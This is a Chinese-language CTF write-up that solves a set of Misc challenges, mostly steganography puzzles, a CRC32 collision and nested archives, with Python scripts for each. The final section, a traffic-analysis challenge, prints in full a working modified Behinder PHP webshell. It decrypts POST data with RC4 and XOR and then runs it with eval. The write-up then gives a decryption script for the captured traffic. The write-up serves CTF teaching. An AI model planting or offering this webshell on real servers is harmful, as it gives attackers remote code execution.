新春杯CTF Misc方向全解分析
2026年新春杯Misc方向所有题目的正反手解析
AD ASTRA [Signin]
考点:图片隐写+rabbit加密
1.gif帧间隔隐写
转十进制获得HAPPYNEWYEAR2026
利用gif不同图片间的间隔隐藏ASCII码从而达到隐写的目的,隐写和解题都可以通过脚本完成,但gif间隔的单位是10ms,所以在处理时要注意乘10和除10
from PIL import Image
def gif_frame_interval_encrypt(input_gif_path, output_gif_path, secret_data):
gif = Image.open(input_gif_path)
binary_data = ''.join(format(ord(c), '08b') for c in secret_data)
frames = []
durations = []
for frame_index in range(gif.n_frames):
gif.seek(frame_index)
frame = gif.copy()
frames.append(frame)
if frame_index < len(binary_data):
bit = int(binary_data[frame_index])
duration = (gif.info['duration'] // 10) * 10 + bit
else:
duration = gif.info['duration']
durations.append(duration)
frames[0].save(
output_gif_path,
save_all=True,
append_images=frames[1:],
duration=durations,
loop=0
)
if __name__ == "__main__":
gif_frame_interval_encrypt("input.gif", "output.gif", "secret")from PIL import Image
def gif_frame_interval_decrypt(encrypted_gif_path):
gif = Image.open(encrypted_gif_path)
durations = []
for frame_index in range(gif.n_frames):
gif.seek(frame_index)
durations.append(gif.info['duration'])
binary_data = ''.join(str(duration % 10) for duration in durations)
bytes_data = bytearray()
for i in range(0, len(binary_data), 8):
byte = binary_data[i:i+8]
if len(byte) < 8:
break
bytes_data.append(int(byte, 2))
secret_data = bytes_data.decode('utf-8', errors='ignore')
return secret_data
if __name__ == "__main__":
result = gif_frame_interval_decrypt("stego.gif")
print(result)2.LSB隐写
后面有个0,hint给了一个不含0,所以去掉
也可以通过zsteg等工具一键读取
对于实施隐写和提取,均可以使用脚本
from PIL import Image
import numpy as np
import os
import sys
def encode_lsb(image_path, secret_data, output_path):
img = Image.open(image_path)
if img.mode not in ('RGB', 'RGBA'):
img = img.convert('RGBA')
img_array = np.array(img)
height, width, channels = img_array.shape
available_bits = height * width * 3
secret_binary = ''.join(format(ord(c), '08b') for c in secret_data)
if len(secret_binary) > available_bits:
raise ValueError(f"数据太大,图像最多可隐藏 {available_bits//8} 字节")
bit_index = 0
for y in range(height):
for x in range(width):
for c in range(min(3, channels)):
if bit_index < len(secret_binary):
pixel_value = img_array[y, x, c]
pixel_value = pixel_value & 0xFE
pixel_value = pixel_value | int(secret_binary[bit_index])
img_array[y, x, c] = pixel_value
bit_index += 1
encoded_img = Image.fromarray(img_array)
if image_path.lower().endswith('.png'):
encoded_img.save(output_path, format='PNG')
else:
encoded_img.save(output_path, format='PNG')
print(f"数据嵌入成功")
print(f"输出图像: {output_path}")
print(f"嵌入比特数: {len(secret_binary)-8}")
if __name__ == "__main__":
len(sys.argv) == 4:
encode_lsb(sys.argv[1], sys.argv[2], sys.argv[3])
from PIL import Image
import numpy as np
import sys
def decode_lsb(image_path):
img = Image.open(image_path)
if img.mode not in ('RGB', 'RGBA'):
img = img.convert('RGBA')
img_array = np.array(img)
height, width, channels = img_array.shape
binary_list = []
for y in range(height):
for x in range(width):
for c in range(min(3, channels)):
lsb = img_array[y, x, c] & 1
binary_list.append(str(lsb))
binary_string = ''.join(binary_list)
zero_byte = '0' * 8
end_index = binary_string.find(zero_byte)
if end_index == -1:
end_index = len(binary_string)
secret_binary = binary_string[:end_index]
if len(secret_binary) % 8 != 0:
secret_binary = secret_binary[:-(len(secret_binary) % 8)]
secret_data = ''
for i in range(0, len(secret_binary), 8):
byte = secret_binary[i:i+8]
secret_data += chr(int(byte, 2))
return secret_data
if __name__ == "__main__":
len(sys.argv) == 2:
extracted_data = decode_lsb(sys.argv[1])
print(f"提取的数据: {extracted_data}")3.jpg标识符隐写
jpg的文件结构每段的开头4字节都是段落的标识符,标识段落的类型
通常在FFDB的DQT段中和FFFE的COM段中隐写信息,因为这两个段中的内容改变不会影响图片正常打开,具有更高的隐蔽性
4.IDAT块隐写
随波逐流可以看到倒数第二个块没有填满就又多了一个块,判断是人工添加的
IDAT块隐写的实现基于png图像的储存模式,整张图片被分为多个IDAT块按顺序储存起来,每个图片中的IDAT块长度都是一致的,且如果上一个块未填满不会开启下一个新块,所以如果出现了不同的IDAT块长度或跳过了未满块开启新块,则可以判断存在隐写
5.附加文件
提取出来得到hint
6.exif
7.改宽高
检查png文件头发现宽高不对,修改回去就可以看到密文part
8.gif分帧
第七张图改宽高得到的U2Fsd很明显是加盐AES或者是rabbit,第五张图的hint是兔子,可以确定是rabbit加密,同时需要把这一部分放在最开始 第八张图gif分帧得到的内容有很明显的位置错误,带有==的部分显然应该是在后面,将这两部分调换,全部组合起来得到完整的密文
part5+part1+part2+part3+part4+part6
hint的图上钥匙上写了一个小写hex,所以把第一张图的KEY转16进制,字母小写作为key
rabbit
rabbit加密是通过生成密钥流与明文或密文进行按位异或(XOR)来实现加密与解密,属于流密码算法,也通用RC4的解法,U2Fsd的头部是Salted_的base64编码,是在加密过程中使用了OpenSSL进行加盐的特征,无法使用cyberchef等普通解密工具解密
50重力故事 [Normal]
考点:crc32碰撞,嵌套压缩包解压,tiff图层
打开压缩包发现有很多字节大小为3的txt文件,很明显的需要CRC碰撞
现成的脚本有很多,搜一下就可以找到 碰撞出密码后解压jpg文件,binwalk发现有文件隐藏
手工或binwalk提取 rar单防foremost 得到压缩包和txt hint给出压缩包也可以叫100.zip,内层是099.zip,很明显是嵌套压缩包。
先爆破一下密码,发现是100
内层099.zip直接用099解压发现可行。写脚本进行循环解压最后得到一个无扩展名的文件
没有文件头,香农熵7.999,且大小为10.0MB,可以判断这可能是个容器 hint给出txt没有隐写但是很有用,所以拿过来当密钥文件挂载容器,得到图片
但文件头并非png,而是tiff,改扩展名放进ps里可以发现还有一个图层,上面是flag
crc32碰撞
crc32是可碰撞的,可以通过穷举相应值的字符来得到明文,但局限于算力,通常碰撞的字节数在1-6之间,一般使用脚本来实现
import zlib, zipfile, os, itertools
IN_ZIP = "D:\\文件\\新建文件夹\\50重力故事.zip"
OUT_DIR = 'txt_out'
os.makedirs(OUT_DIR, exist_ok=True)
def brute_one(entry):
name = entry.filename
want_crc = entry.CRC
want_usz = entry.file_size
print(f'[+] 爆破 {name} 大小:{want_usz} CRC:{want_crc:08X}')
for L in range(want_usz, want_usz+1):
for tup in itertools.product(range(256), repeat=L):
plain = bytes(tup)
if zlib.crc32(plain) & 0xffffffff == want_crc:
print(f' -> 命中: {plain.decode()}')
return plain
raise RuntimeError(f'{name} 未找到明文')
def main():
zf = zipfile.ZipFile(IN_ZIP)
targets = [e for e in sorted(zf.infolist(), key=lambda x: x.filename)
if #e.filename.startswith('attachment/') and
e.filename.endswith('.txt') and
e.file_size in (1, 2, 3) and
e.filename.split('/')[-1].split('.')[0].isdigit() and
1 <= int(e.filename.split('/')[-1].split('.')[0]) <= 18]
pieces = [None]*18
for e in targets:
idx = int(e.filename.split('/')[-1].split('.')[0])-1
pieces[idx] = brute_one(e)
full_flag = b''.join(pieces).decode('utf-8')
print('\n[+] 完整句子:', repr(full_flag))
if __name__ == '__main__':
main()foremost提不出rar压缩包
foremost在提取文件是时从头开始扫描到第一组完整的文件头尾时,把文件提取出来,在rar中的zip文件头尾是明文存在的,所以当隐写在文件中的rar压缩包嵌套zip压缩包时,使用foremost提取不出完整的rar压缩包,只能提取其中的有完整文件头尾的文件,rar本身和txt等文件将会在提取过程中被忽略
tiff图层
tiff格式是可以将图层保存下来的,在ps中选择保存为tiff时勾选保存图层即可,tiff格式保存的图层在一般的图片查看器中是不可见的,只能看得到最上面的一层图层,而且tiff格式的图片扩展名可以改为其他图片的扩展名而不影响正常打开预览,所以tiff图层隐写具有很高的隐蔽性,破解方法有两种:一是使用ps和gimp等绘图软件打开,他们会识别图层并允许分层查看编辑,二是使用gif分帧工具,切换显示的图层
超级拼装2077 [Normal]
考点:时间戳隐写,猫脸变换
打开压缩包是一连串0kb相同修改时间的txt文件,很明显是时间戳隐写,写个脚本提取一下,获得了三个参数
import os
from datetime import datetime
def extract(folder_path):
for i in range(0, 43):
filename = f"{i}.txt"
filepath = os.path.join(folder_path, filename)
if os.path.exists(filepath):
mtime = int(os.path.getmtime(filepath))
last = str(mtime)[-3:]
ascii_char = chr(int(last) % 128)
readable_time = datetime.fromtimestamp(mtime).strftime('%Y-%m-%d %H:%M:%S')
print(f"{filename}: {readable_time} -> {mtime} -> {ascii_char}")
extract('stego')另外还有几张破碎的图片,有几张给定位置了,还有几张需要自己拼
两条思路:爆破或者手拼,都比较快
import itertools
import os
known_positions = {2: "2.png", 4: "4.png", 7: "7.png", 9: "9.png"}
def brute_force_solution():
all_images = [f"{i}.png" for i in range(1, 10)]
fixed_images = set(known_positions.values())
remaining_images = [img for img in all_images if img not in fixed_images]
positions_to_fill = [1, 3, 5, 6, 8]
for perm in itertools.permutations(remaining_images, len(positions_to_fill)):
all_imgs = [None] * 10
for pos, img in known_positions.items():
all_imgs[pos] = img
for pos, img in zip(positions_to_fill, perm):
all_imgs[pos] = img
if __name__ == "__main__":
for pos, img_file in known_positions.items():
if not os.path.exists(img_file):
print(f"图片 {img_file} 不存在")
result = brute_force_solution()拼完之后是一张上面写字的图片,提到cat,前面还有三个参数,是猫脸变换,解密之后调整一下图片扫码即可拿到flag
这个二维码利用了近大远小的透视原理,将二维码进行形变后保存,这样以来从正面扫描二维码时无法识别,但从设定的角度和距离看就可以识别
实则把手机挪到侧面就能扫到,这就是为什么flag是move your body()
时间戳隐写
利用时间戳的最后三位隐藏ASCII码从而隐藏信息的隐写手段,因为时间戳在外面是不可见的,提取有一定门槛,隐写一般使用脚本进行
import os
import time
from tqdm import tqdm
def create_file(filepath):
try:
with open(filepath, 'a') as f:
pass
return True
except Exception as e:
print(f"创建文件失败 {filepath}: {e}")
return False
def modify_file_create_time(filepath, create_time_str, modify_time_str, access_time_str):
try:
format_str = "%Y-%m-%d %H:%M:%S"
modify_time_struct = time.strptime(modify_time_str, format_str)
access_time_struct = time.strptime(access_time_str, format_str)
modify_timestamp = time.mktime(modify_time_struct)
access_timestamp = time.mktime(access_time_struct)
os.utime(filepath, (access_timestamp, modify_timestamp))
print(f"已修改文件时间: {os.path.basename(filepath)}")
return True
except Exception as e:
print(f"修改文件时间失败 {filepath}: {e}")
return False
def main():
testtime = 1559202000
cmdstr = "116 104 101 114 101 32 105 115 32 110 111 32 102 108 97 103 32 98 117 116 32 115 111 109 101 116 104 105 110 103 32 117 115 101 102 117 108 58 52 44 51 44 53"
newpath = "./stego/"
if not os.path.exists(newpath):
os.makedirs(newpath, exist_ok=True)
print(f"创建目录: {newpath}")
cmdlist = cmdstr.split(' ')
print(f"需要处理 {len(cmdlist)} 个文件")
decoded_message = ''.join([chr(int(code)) for code in cmdlist])
print(f"解码信息: {decoded_message}")
for i in tqdm(range(len(cmdlist)), desc="处理文件中"):
filename = os.path.join(newpath, f"{i}.txt")
if create_file(filename):
timestamp = testtime + int(cmdlist[i])
change_time = time.localtime(timestamp)
format_str = "%Y-%m-%d %H:%M:%S"
up_time = time.strftime(format_str, change_time)
modify_file_create_time(filename, up_time, up_time, up_time)
else:
print(f"跳过文件 {i}.txt")
def createfile(filename):
dir_path = os.path.dirname(filename)
if dir_path and not os.path.exists(dir_path):
os.makedirs(dir_path, exist_ok=True)
with open(filename, 'w') as f:
f.write('')
print(f"已创建文件: {filename}")
if __name__ == '__main__':
main()???esab [Easy]
考点:base64换表
base64换表,把原表倒过来就行了
CSGO [Normal]
考点:图片高度,视频最低位,图片最低位
非预期解
jpg末尾有base64
解出来是key
视频后面可以binwalk到一个压缩包
提取出来后用密码解压得到图片
stegsolve看通道可以看到0通道有东西,data extract直接出答案或者提取RGB值分析
发现有(128,128,128)和(129,129,129)两种像素,判断是二进制,分别置0和置1,解码得到flag,最后一个字母r要换成y
from PIL import Image
def extract_pixels(image_path):
img = Image.open(image_path).convert("RGB")
width, height = img.size
pixels = []
for y in range(height):
row = []
for x in range(width):
r, g, b = img.getpixel((x, y))
row.append((r, g, b))
pixels.append(row)
return pixels
if __name__ == "__main__":
result = extract_pixels("input_image.png")
print(result)预期解
改jpg的宽高可以看到隐藏的工具提示
找到github项目https://github.com/cenglin123/SteganographierGUI
用这个工具和上面的key可以直接从视频中解出图片,其余步骤相同
Unsolved Mystery [Hard]
考点:零宽,文件异或,像素转二进制
txt末尾可以看到有零宽字符特征
内容提示200B 200C 200D三种字符,解零宽隐写可以得到 key
没招了直接拿解出的内容跟另一个文件异或,发现是png
下载下来查看一下像素RGB,只有两种,而且图片尺寸为70x330,推测是7bit的二进制转字符
把255置0,254置1,每10个像素当作一个像素处理后得到内容还是转不出flag,换行几次之后可以发现图中实际使用的是10x10的像素为单位
再处理一次,解出flag
之所以是10x10的大像素,是因为出题脚本中pixelsize=10
解题也可以通过脚本来完成
import cv2
import numpy as np
def extract_lsb_from_gray_image(image_path, output_text_path):
img = cv2.imread(image_path, cv2.IMREAD_GRAYSCALE)
if img is None:
raise ValueError(f"无法读取图片:{image_path},请检查路径或图片格式")
pixels = img.flatten()
binary_message = ""
for pixel in pixels:
lsb = pixel & 1
binary_message += str(lsb)
binary_message = binary_message[:len(binary_message) - (len(binary_message) % 8)]
extracted_text = ""
for i in range(0, len(binary_message), 8):
byte = binary_message[i:i + 8]
ascii_code = int(byte, 2)
if ascii_code == 0:
break
extracted_text += chr(ascii_code)
with open(output_text_path, 'w', encoding='utf-8') as f:
f.write(extracted_text)
print(f"信息提取完成!")
print(f"提取的内容:\n{extracted_text}")
print(f"内容已保存到:{output_text_path}")我不是戏神 [Hard]
考点:像素处理
直接就是像素图,提取RGB像素值看看
G通道一直没变,hint是unicode,题干说小说,怀疑是把信息拆开隐藏在R和B通道里了,写脚本提取这两个通道的数据两两组合进行UTF-16LE解码
from PIL import Image
def decrypt_image_to_text(encrypted_img_path, output_text_path=None, max_chars=None):
try:
img = Image.open(encrypted_img_path)
width, height = img.size
if img.mode != "RGB":
img = img.convert("RGB")
extracted_chars = []
extracted_length = 0
for y in range(height):
for x in range(width):
r, g, b = img.getpixel((x, y))
char_code = (r << 8) + b
try:
char = chr(char_code)
extracted_chars.append(char)
extracted_length += 1
except ValueError:
break
if max_chars and extracted_length >= max_chars:
break
extracted_text = ''.join(extracted_chars)
print(f"成功提取 {extracted_length} 个字符")
if output_text_path:
with open(output_text_path, 'w', encoding='utf-8') as f:
f.write(extracted_text)
print(f"提取的文本已保存到:{output_text_path}")
return extracted_text
except FileNotFoundError:
print("文件不存在。")
return None
except Exception as e:
print(f"发生未知错误: {e}")
return None
if __name__ == "__main__":
ENCRYPTED_IMG_FILE = "我不是戏神.bmp" # 加密后的图片
OUTPUT_TEXT_FILE = "decrypted.txt" # 解密输出的文本文件
text = decrypt_image_to_text(ENCRYPTED_IMG_FILE, OUTPUT_TEXT_FILE)flag在文件中间
隐写脚本
from PIL import Image
BASE_IMG_FILE = "base.bmp"
INPUT_TEXT_FILE = "input.txt"
OUTPUT_IMG_FILE = "encrypted_1.bmp"
def encrypt_text_to_image(base_img_path, text_file_path, output_img_path):
try:
with open(text_file_path, "r", encoding="utf-8") as f:
secret_text = f.read()
img = Image.open(base_img_path)
width, height = img.size
new_img = img.copy()
required_pixels = len(secret_text)
total_pixels = width * height
if required_pixels > total_pixels:
raise ValueError(f"错误:图片容量不足。需要 {required_pixels} 像素,但图片只有 {total_pixels} 像素。")
print(f"开始隐藏文本(长度:{required_pixels})到 {width}x{height} 的图片中...")
for i, char in enumerate(secret_text):
x = i % width
y = i // width
try:
r_orig, g_orig, b_orig = new_img.getpixel((x, y))
except ValueError:
new_img = new_img.convert("RGB")
r_orig, g_orig, b_orig = new_img.getpixel((x, y))
char_code = ord(char)
new_r = (char_code >> 8) & 0xFF
new_b = char_code & 0xFF
new_g = g_orig
new_img.putpixel((x, y), (new_r, new_g, new_b))
new_img.save(output_img_path)
print(f"数据隐藏完成,新图片已保存为:{output_img_path}")
except FileNotFoundError:
print("错误:确保 BASE_IMG_FILE 和 INPUT_TEXT_FILE 文件存在。")
except Exception as e:
print(f"发生未知错误: {e}")
encrypt_text_to_image(BASE_IMG_FILE, INPUT_TEXT_FILE, OUTPUT_IMG_FILE)碟中谍2.0[Normal]
考点:魔改冰蝎流量
观察流量可以发现先使用了蚁剑上传了一个冰蝎php马
<?php
@error_reporting(0);
function Decrypt($data)
{
$key = "e45e329feb5d925b";
$bs = "base64_" . "decode";
$data = $bs($data);
$pwd_length = strlen($key);
$data_length = strlen($data);
$cipher = '';
$s = array();
for ($i = 0; $i < 256; $i++) {
$s[$i] = $i;
}
$j = 0;
for ($i = 0; $i < 256; $i++) {
$j = ($j + $s[$i] + ord($key[$i % $pwd_length])) % 256;
$tmp = $s[$i];
$s[$i] = $s[$j];
$s[$j] = $tmp;
}
$i = 0;
$j = 0;
for ($k = 0; $k < $data_length; $k++) {
$i = ($i + 1) % 256;
$j = ($j + $s[$i]) % 256;
$tmp = $s[$i];
$s[$i] = $s[$j];
$s[$j] = $tmp;
$cipher .= $data[$k] ^ chr($s[($s[$i] + $s[$j]) % 256]);
}
for($i = 0; $i < strlen($cipher); $i++) {
$cipher[$i] = $cipher[$i] ^ $key[$i+1&15];
}
return $cipher;
}
$post=Decrypt(file_get_contents("php://input"));
@eval($post);
?>分析一下马的加密逻辑,是RC4后面套了一层异或,根据加密逻辑写解密脚本恢复即可
import base64
class IceScorpionDecrypter:
def __init__(self):
self.key = "e45e329feb5d925b"
self.key_bytes = self.key.encode('utf-8')
def _xor_process(self, data):
if isinstance(data, str):
data = data.encode('utf-8')
output = bytearray()
length = len(data)
for i in range(length):
k = self.key_bytes[(i + 1) & 15]
output.append(data[i] ^ k)
return output
def _rc4_process(self, data):
"""
标准 RC4 算法
"""
s = list(range(256))
j = 0
for i in range(256):
j = (j + s[i] + self.key_bytes[i % len(self.key_bytes)]) % 256
s[i], s[j] = s[j], s[i]
i = 0
j = 0
res = bytearray()
for byte in data:
i = (i + 1) % 256
j = (j + s[i]) % 256
s[i], s[j] = s[j], s[i]
k = s[(s[i] + s[j]) % 256]
res.append(byte ^ k)
return res
def decrypt(self, ciphertext_b64):
try:
decoded_bytes = base64.b64decode(ciphertext_b64)
rc4_decrypted = self._rc4_process(decoded_bytes)
plaintext = self._xor_process(rc4_decrypted)
try:
return plaintext.decode('utf-8')
except UnicodeDecodeError:
return plaintext
except Exception as e:
return f"{str(e)}"
if __name__ == "__main__":
tool = IceScorpionDecrypter()
target_ciphertext = "ypSNAOcfNKP8gfdm7wx5E/WGAnHfjpLbAjPj+qpivSYdsn/ckNhLd2rRDhYhJmDMbVli6Mk5rZZ5aYDKI2ZDH6MCB1u2XCq4HRBgZpKPTIBK4Iss80hEfIjIfJ81nUHPuOw="
decrypted_text = tool.decrypt(target_ciphertext)
print(f"{decrypted_text}")也可以使用厨子手搓